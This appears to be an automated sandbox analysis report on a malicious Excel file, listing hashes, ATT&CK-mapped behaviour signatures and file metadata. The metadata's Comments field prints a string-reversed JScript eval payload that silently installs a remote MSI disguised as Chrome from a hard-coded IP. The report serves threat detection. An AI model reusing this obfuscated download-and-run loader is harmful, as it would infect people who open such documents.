Managed XDR

erp-us-stock-selection-202109.xls — malware analysis report

File info

Filename
erp-us-stock-selection-202109.xls
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Subject: JScript, Author: Ferop, Comments: eval('})"ism.emorhc/351.101.642.702//:ptth"(tcudorPllatsnI;2=leveLIU{))"rellatsnI.rellatsnIswodniW"(tcejbOXevitcA wen(htiw'.split('').reverse().join('')), Last Saved By: Arcadia, Name of Creating Application: Microsoft Excel, Create Time/Date: Tue Aug 17 12:24:08 2021, Last Saved Time/Date: Thu Sep 23 15:42:50 2021, Security: 0
File size
64.5 KB
First seen
Last seen

Environment

w10/x86 en

Hashes

SHA1
cef226d614868e6a2fd9528d29a010a551fe5061
SHA256
f66f9f0e293e622b046ab473cf99d071a377418fd69bf1685c8d23c371f517cc
MD5
847450c0ed9954c2e9bdc5cd457d444c

Signatures

Execution

T1203 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1204.002 office_vb_load: Microsoft Office is loading VB DLL files (macros usage indicator)
T1204.002 office_com_load: Microsoft Office loads COM DLL files (indicator of COM usage in macros)
T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro

Defense Evasion

T1497 evasion_trustrecords: Attempts to detect Sandbox exploring trusted documents
T1064 office_macros: The document contains macroses (total: 4)
T1064 office_macros_autoexec: The document contains an auto-start macro

Discovery

T1497 evasion_trustrecords: Attempts to detect Sandbox exploring trusted documents
T1083 checks_recent_files: Attempt to check recently opened files through registry

Command and Control

T1071.001 office_exploit_http: The document exhibits suspicious behaviour (performs HTTP requests)
T1071.004 office_exploit_dns: The document exhibits suspicious behaviour (performs DNS requests)
T1071.001 winhttp_https: Performs HTTP/HTTPS requests using WinHttp

Other

yara_rules: Static rules
suspicious_process_network: Unusual process network activity detected
dead_host: Connects to IP addresses that do not respond to requests
office_summary: The document contains suspicious metadata
test_check_service: Starts services